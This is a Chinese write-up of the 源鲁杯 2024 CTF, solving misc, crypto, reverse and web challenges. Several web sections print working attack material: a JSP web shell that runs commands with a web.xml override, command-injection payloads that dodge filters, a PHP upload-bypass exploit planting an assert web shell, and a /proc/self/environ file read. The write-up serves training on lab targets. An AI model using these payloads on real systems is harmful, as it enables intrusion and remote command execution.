源鲁杯 2024 - writeup

源鲁杯 2024 - writeup

 次点击
120 分钟阅读

Round1

Misc

hide_png

下载附件

是一张图片

能隐约看到有点阵组成的Flag

使用PS调整图片

pngorzip

下载附件 根据hint 推断出应该是图片内隐写了zip压缩包

发现RGB通道存在zip隐写 包含flag.txt

zsteg

发现通道"b1,rgb,lsb,xy"存在ZIP隐写

提取zip

打开压缩包却提示文件损坏

使用010Editor查看压缩包 发现有多余的无用数据 删去

成功打开压缩包 发现是加密压缩包 并且不是伪加密

查看文件注释

推测是掩码爆破 使用工具进行破解 发现完整密码为114514giao

打开flag.txt 得到Flag

plain_crack

下载附件 发现

包含build.py和一个压缩包

打开压缩包发现 压缩包内同样存在build.py

推测是明文攻击类型 计算CRC32 发现均为DD549D08

于是使用工具Advanced Archive Password Recovery进行明文攻击

原压缩包算法:ZipCrypto Deflate

明文攻击成功

打开发现一个docx文档 点卡 发现提示fakeflag

转换思路 因为没有其他信息 所以猜测是word隐写

将扩展名改为.zip 打开

发现文件J$BZ17OZ[`1QRKB1(F1]T.png

打开图片 所看到的字符就是flag

trafficdet

下载附件

使用随机森林分类器进行模型训练 [Powered By ChatGPT 4o]

import pandas as pd
from sklearn.ensemble import RandomForestClassifier

# 加载训练数据
train_data = pd.read_csv('train.csv')

X_train = train_data.drop(columns=['Label'])  # 特征
y_train = train_data['Label']  # 标签

# 加载测试数据
test_data = pd.read_csv('test.csv')

# 初始化随机森林分类器
clf = RandomForestClassifier(n_estimators=100, random_state=42)

# 训练模型
clf.fit(X_train, y_train)

# 对测试集进行预测
test_predictions = clf.predict(test_data)

result = pd.DataFrame({
    'id': test_data.index + 1,  # 行数从1开始
    'Label': test_predictions  # 预测结果
})

# 保存预测结果到exp.csv
result.to_csv('exp.csv', index=False)

print("预测已完成,结果已保存到 'exp.csv'")

运行即可获得预测好的csv文件, 上传即可获得flag

whatmusic

下载附件

压缩包内包含加密的flag文件和未加密的password文件

010打开password 发现文件为内容倒置的png

f = open('password','rb')
a = f.read()
a = a[::-1]
new = open('out.png','wb')
new.write(a)
print(a[::-1])

纯白(

修复高宽

镜像一下ocr提取就行了 是压缩包的密码

解压缩出来flag 最抽象的地方来了

hint1 : 这是桑德拉(Thundra)给她女儿唱的歌

hint2 : flag中字母全为大写并且套上YLCTF

查吧 查到漫威

她有个女儿 叫lyra 一查 有个同名的音频解码器 和hint1的唱歌对应上了

接下来就是搭建这个lyra的环境 折磨我四个小时 没搭好 放弃了不要分了(

赛后问了aura佬 说用vs的codespace 懒得搞了 GG


补档:腾出时间用codespace配置了一下lyra

参考某大佬博客:

http://110.40.41.206:1234/2024/09/03/lyra/

弄好以后 得到音频文件 放慢倍速听就行!

[签到] 打卡小能手

关注公众号发送文本即可获得flag

Web

Disal

进入容器 网页显示

查看网页源代码

<!DOCTYPE html>
<head>
    <title>Can you find the flag?</title>

</head>

<body>
<h3>There is no flag here.</h3>

haha...
</body>

<!--f1ag_is_here.php-->

发现 “f1ag_is_here.php” 访问

发现一张机器人图片 名为reobots.jpg 所以推测是爬虫robots协议

访问robots.txt

User-agent: *
Disallow: f1ag.php

访问f1ag.php

<?php
show_source(__FILE__);
include("flag_is_so_beautiful.php");
$a=@$_POST['a'];
$key=@preg_match('/[a-zA-Z]{6}/',$a);
$b=@$_REQUEST['b'];

if($a>999999 and $key){
    echo $flag1;
}
if(is_numeric($b)){
    exit();
}
if($b>1234){
    echo $flag2;
}
?> 

分析代码可知 需要通过get方式传入参数b POST方式传入参数a

考察PHP的弱比较 构造一个b=1235a

a=1000000abcdef 正则匹配出为abcdef符合6位字符串 所以key为True

传入参数 得到flag

TOXEC

(Powered By AI)

进入容器 发现是文件上传题

上传文件 1.xml

<%
    if("666".equals(request.getParameter("666"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
 %>

web.xml

<?xml version="1.0" encoding="UTF-8"?>
 <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee 
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" 
version="4.0">
 <servlet>
    <servlet-name>xml</servlet-name>
    <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>

 </servlet>

 <servlet-mapping>
   <servlet-name>xml</servlet-name>

   <url-pattern>*.xml</url-pattern>

 </servlet-mapping>

 </web-app>

然后通过文件重命名功能覆盖掉原来的配置文件,将xml文件解析为jsp文件

覆盖后访问上传目录的upload/1.xml传入参数即可getshell

使用ls与cat获取flag

shxpl

访问容器

尝试使用;执行ls

多次试验后发现ls,分号,空格均被过滤

使用 %0a 直接换行绕过" ; " 使用%09绕过空格

查询资料发现可以使用du同样可以列举文件

于是使用du -a绕过ls 使用BurpSuite传入构造好的POST参数

domain=www.baidu.com%0adu%09-a%09/

找到文件"/flag_RV2gd5sc"

于是使用cat命令查看文件 结果发现cat也被过滤了

发现可以使用more来代替cat 很巧的是more并没有被过滤

尝试 结果发现flag也被过滤了通配符*也不行

于是 使用[f-h]替换g进行模糊匹配 (正则大法好)

于是构造

domain=www.baidu.com%0amore%09/fla[f-h]_RV2gd5sc

看回显 成功获得Flag

Round2

Crypto

ezAES

连接容器 获得AES加密部分的代码

nc challenge.yuanloo.com 36780

this is a AES,you maybe need full padding.
	
	key is YLCTF-CRYPTO
	iv is YLCTF-IV
	AES define is

	from Crypto.Cipher import AES
	AES.new(key,2,iv)
	result = b""
	padded_data = pad(flag, AES.block_size)
	endata = aes.encrypt(padded_data)
	print(endata)

\xed\x1d]\xe6p\xb7\xfa\x90/Gu\xf4\xe2\x96\x84\xef90\x92e\xb4\xf8]"\xfc6\xf8\x8cS\xe9b\x19
your result:

分析这段加密代码 可知给出了密钥,初始向量与最终密文

联合题目分析“看起来你需要补充些什么”

发现key和IV长度分别为12和8

不符合AES中 128位(16字节)、192位(24字节)或256位(32字节) 的要求

查询资料 使用 PKCS7填充方式

exp如下:

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# 密钥与初始向量IV
key = b'YLCTF-CRYPTO'  # 12字节密钥
iv = b'YLCTF-IV'  # 8字节IV
# 进行PKCS7填充
key = key.ljust(16, b'\0')  # 将密钥填充到16字节
iv = iv.ljust(16, b'\0')  # 将IV填充到16字节

# 使用CBC模式初始化AES加密器
aes = AES.new(key, AES.MODE_CBC, iv)

# 加载密文
encrypted_data = b'\xed\x1d]\xe6p\xb7\xfa\x90/Gu\xf4\xe2\x96\x84\xef90\x92e\xb4\xf8]"\xfc6\xf8\x8cS\xe9b\x19'

# 解密数据
decrypted_padded_data = aes.decrypt(encrypted_data)

# 去除PKCS7填充
decrypted_data = unpad(decrypted_padded_data, AES.block_size)
print(decrypted_data.decode('utf-8'))  # 转换为字符串

输出结果为:keysauikoydasuicxs

输入至服务器 得到flag

Web

Cmnts

打开容器 F12查看源代码

Base64解码得到“get_th1s_f1ag.php” 访问

分析代码可知 因为使用的是parse_str($_SEVER['???']) 会将所有得到的参数转换为变量

当pass参数存在时 给变量key赋值为pass的md5值

但是如果pass不存在 则不会对key进行操作 而利用parse_str($_SEVER['???']) 可以直接传入key参数

直接令key=md5值即可获得flag

PHUPE

文件上传题 下载附件 查看源码 找到对文件检测的部分

public function uploadFile($file) {
	$name = isset($_GET['name'])? $_GET['name'] : basename($file['name']);
	$fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));
	if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false ) {
		return false;
	}
	$data = file_get_contents($file['tmp_name']);
	if(preg_match('/php|if|eval|system|exec|shell|readfile|t_contents|function|strings|literal|path|cat|nl|flag|tail|tac|ls|dir|:|show|high/i',$data)){
		echo "<script>alert('恶意内容!')</script>";
		return false;
	}
	$target_file = $this->uploadDir .$name;
	if (move_uploaded_file($file['tmp_name'], $target_file)) {
		echo "<script>alert('文件上传成功!')</script>";
		return true;
	}
	return false;
}

分析可知 绕过检测的要求为:扩展名没有'ph'和'hta'

因为不能有'hta',所以无法通过上传.htaccess文件将其他文件解析为php

使用PATHINFO_EXTENSION或许文件信息 可以利用一下 他获得的扩展名是.后的文本

通过在文件名后添加.可使获取到的扩展名为空 所以绕过了对扩展名的检测

同时在.前添加/ 这样在move_uploaded_file时 因为系统无法创建名为"."的文件

所以"/."会被截取 文件名将会被识别为"shell.php"

同时 因为会对文件内容进行检测 不能包含

php|if|eval|system|exec|shell|readfile|t_contents|function|strings|literal|path|cat|nl|flag|tail|tac|ls|dir|:|show|high

使用<? ?>标签来替代<?php >

同时查一查有什么没有被排除的函数可以执行命令

写出如下exp

import requests

url = 'http://challenge.yuanloo.com:38107/?name=shell.php/.'
file_content = "<? @assert($_POST['cmd'])?>"
files = {
	'file': ('I_Am_Mnzn', file_content)
}
response = requests.post(url=url, files=files)
print(response.text)

上传成功

蚁剑连接

成功GetShell 获取flag即可


Misc

Trace

下载附件

010打开 文件尾后有一大串文本 看着像Base64

提出来丢赛博厨子

转换完发现是rar 提取出来 发现是加密压缩包 使用工具尝试爆破密码

发现是扭曲的图片

至于怎么看flag

把四张图拼一起就能看到一个完整的flag了 (

滴答滴

010打开 发现是由 00 FF 组成的

结合题目:

联想到BUUCTF 有一道Crypto3就用了个编码方式叫Manchester(曼彻斯特)

然后将HEX中的 00 -> 0 ; FF -> 1

得到的二进制文本 再进行一次Manchester解码

01->0 ; 10->1

然后把得到的2进制数据转换为字符串即可

代码如下:

from Crypto.Util.number import long_to_bytes

# 读取文件中的十六进制数据
with open('attachment', 'rb') as file:
    hex_data = file.read()  # 读取文件内容

# 将读取到的二进制数据转换为十六进制字符串
hex_string = hex_data.hex().upper()  # 转换为十六进制,并转为大写
print("Old HEX:", hex_string)

# 00->0,FF->1
temp = ''
for i in range(0, len(hex_string), 2):
    hex_pair = hex_string[i:i + 2]  # 每次读取两个字符进行转换
    if hex_pair == '00':
        temp += '0'
    elif hex_pair == 'FF':
        temp += '1'
# 打印第一次曼彻斯特编码结果
print("Manchester 1:", temp)

temp2 = ''

# 进行第二次曼彻斯特编码
#01->0,10->1
for i in range(0, len(temp), 2):
    pair = temp[i:i + 2]  # 每次读取两个字符进行转换
    if pair == '01':
        temp2 += '0'
    elif pair == '10':
        temp2 += '1'
# 打印第二次曼彻斯特编码结果
print("Manchester 2:", temp2)

flag = ''
# 按8位分组生成十六进制
for i in range(0, len(temp2), 8):
    byte = temp2[i:i + 8]  # 提取每8位作为一个字节
    flag += long_to_bytes(int(byte, 2)).decode()
# 输出最终结果
print("Flag :", flag)

Round3

Misc

Blackdoor

下载附件 分析文件

IMG_256

实在是没什么好说的了 我火绒给include.php报了个危险

IMG_257

IMG_258

太喜感了 实在是爆笑 what can i say

Tinted(一血)

下载附件 一张图片

IMG_259

解题流程:

取每个色块色值的后两位作为16进制数

转换为字符串后进行Base64解密 字符集比较特殊

字符集3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5

67 65 72 49 66 4a 6a 42 52 5a 66 31 52 67 62 74 52 4c 52 39

54 64 4a 75 52 63 75 75 53 74 57 75 51 67 4a 74 69 5a 57 39

54 67 4a 7a 54 64 52 76 54 4c 69 75 52 74 62 71 70 62 35 35

->HexToString->Base64Decode->

YLCTF{25e1d30c-9141-4784-a3b8-9a99358f4340}

Figure(一血)

下载附件,010打开

发现所有字符均在0-f范围内 推测是16进制

转换成16进制文件试试 打开发现乱码

看开头的Figure文件末尾->0598

IMG_260

猜测是8950倒序->png文件头

于是进行 逆序->转换 处理

with open('Figure', 'r') as input_file:

input_text = input_file.read()

reversed_text = input_text[::-1]

byte_data = bytes.fromhex(reversed_text)

with open('output.png', 'wb') as output_file:

output_file.write(byte_data)

打开提取出的图片文件

IMG_261

这一步有点抽象 把每个点的坐标按顺序提取出来 只能说很费眼睛 一共38个点

点坐标

(52,50),

(83,115),

(102,120),

(82,68),

(121,86),

(76,122),

(106,77),

(112,84),

(69,106),

(74,99),

(102,105),

(106,84),

(105,107),

(119,120),

(78,71),

(101,106),

(71,120),

(66,112),

(119,57),

(87,49),

(49,82),

(115,66),

(55,71),

(113,65),

(114,89),

(116,77),

(111,103),

(68,84),

(88,89),

(100,76),

(72,56),

(107,90),

(109,102),

(85,101),

(104,51),

(85,109),

(81,89)

然后将点的坐标作为ASCII码转换为字符 根据hint1,格式为 x1x2x3..xnyn....y3y2y1

coordinates = [

#坐标集合 太长了就没在代码里放了

]

# 获取字符

result = ""

for x, y in coordinates:

    result += chr(x)

for x, y in reversed(coordinates):

    result += chr(y)

print(result)

4SfRyLjpEJfjiwNeGBwW1s7qrtoDXdHkmUhUQYm3efZ8LYTgMYAGBR19pxjGxkTicjTMzVDxs2

根据hint2 进行13位栅栏解密

4jiwrHQZM1GcVSpwWtkY8Y9xjDfEN1ommLApkTxRJesDU3YGxTMsyfG7XheTBjiz2LjBqdUfgR

使用CyberChef进行剩余的解密

IMG_262

得到flag->YLCTF{a3a9cb97-0aca-485a-a35e-c32dca7c1fa8}

Crypto

QWQ

゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');

一眼顶真 鉴定为AAencode编码

解码

LFGEGVCGPNUEA5RTL5DHK3S7O4YXI2C7ORUGSNK7M5QW2M27KFLVC7I=

Base32字符串 再解码一次即可 -> YLCTF{h@v3_Fun_w1th_thi5_gam3_QWQ}

Web

404

IMG_256

进入f12g.php 发现跳转到了404页面

bp抓包看看 IMG_257

Server-Timing有一段b64字符串

解码->去ca.php做个数学题吧

IMG_258

查看源代码 发现是js控制的时间限制 直接禁用js 执行一下php代码 算完了以后允许js提交就行了

Pread

IMG_259

添加笔记 导出笔记 导入笔记都试了试

使用bp抓包 发现导出笔记时可能存在任意文件下载漏洞

IMG_260

尝试一下读取系统变量 ?filename=/proc/self/environ

IMG_261

KUBERNETES_SERVICE_PORT_HTTPS=443.KUBERNETES_SERVICE_PORT=443.HOSTNAME=web-01javzxwden32j0v34efnz4982.PYTHON_VERSION=3.8.19.PWD=/.PYTHON_SETUPTOOLS_VERSION=57.5.0.HOME=/root.LANG=C.UTF-8.KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443.GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568.SHLVL=0.KUBERNETES_PORT_443_TCP_PROTO=tcp.PYTHON_PIP_VERSION=23.0.1.KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1.WEB_CONCURRENCY=1.PYTHON_GET_PIP_SHA256=bc37786ec99618416cc0a0ca32833da447f4d91ab51d2c138dd15b7af21e8e9a.GZCTF_TEAM_ID=418.KUBERNETES_SERVICE_HOST=10.43.0.1.GZCTF_FLAG=YLCTF{6272a2d6-b784-41bc-822a-dccaede623cb}.KUBERNETES_PORT=tcp://10.43.0.1:443.KUBERNETES_PORT_443_TCP_PORT=443.PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/def4aec84b261b939137dd1c69eff0aabb4a7bf4/public/get-pip.py.PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin._=/usr/bin/nohup

GZCTF_FLAG=YLCTF{6272a2d6-b784-41bc-822a-dccaede623cb}

Rev

[Round 3] ezmaze

下载附件

拖入IDA反编译

int __fastcall main(int argc, const char **argv, const char **envp)
{
    char action[55]; // [rsp+20h] [rbp-60h] BYREF
    char singleAction; // [rsp+57h] [rbp-29h]
    char *maze; // [rsp+58h] [rbp-28h]
    int detailAction; // [rsp+64h] [rbp-1Ch]
    int step; // [rsp+68h] [rbp-18h]
    int place; // [rsp+6Ch] [rbp-14h]

    _main(argc, argv, envp);
    maze = "*****++*********+******+*++******+++*****F*+*******+*+++*****+***++****+***+*****+***+*+***+++++++************";
    place = 5;
    gets(action);
    step = 0;
    detailAction = 0;
    while ( step < strlen(action) )
    {
        singleAction = action[step++];
        if ( singleAction == 100 )
        {
            detailAction = 1;
        }
        else if ( singleAction > 100 )
        {
            if ( singleAction == 115 )
            {
                detailAction = 10;
            }
            else if ( singleAction == 119 )
            {
                detailAction = -10;
            }
        }
        else if ( singleAction == 97 )
        {
            detailAction = -1;
        }
        if ( maze[detailAction + (__int64)place] != 43 && maze[detailAction + (__int64)place] != 70 )
        {
            printf("ooooh , Not feasible ahead!");
            return 0;
        }
        while ( maze[detailAction + (__int64)place] == 43 || maze[detailAction + (__int64)place] == 70 )
            place += detailAction;
    }
    if ( maze[place] == 70 )
        printf("you get the flag! flag is : YLCTF{md5(%s)}", action);
    else
        printf("come on!");
    return 0;
}

阅读代码 发现是迷宫 w左移10行 s右移十行 其实可以转换成二维的

另外

所以操作一次后 只有当下一步会到达*时才会停止操作 否则会重复当前操作

可知路径如下:dsasasdsaw

md5 -> efac19a75e413ad6680adec92504b654

Flag -> YLCTF{efac19a75e413ad6680adec92504b654}

© 本文著作权归作者所有,未经许可不得转载使用。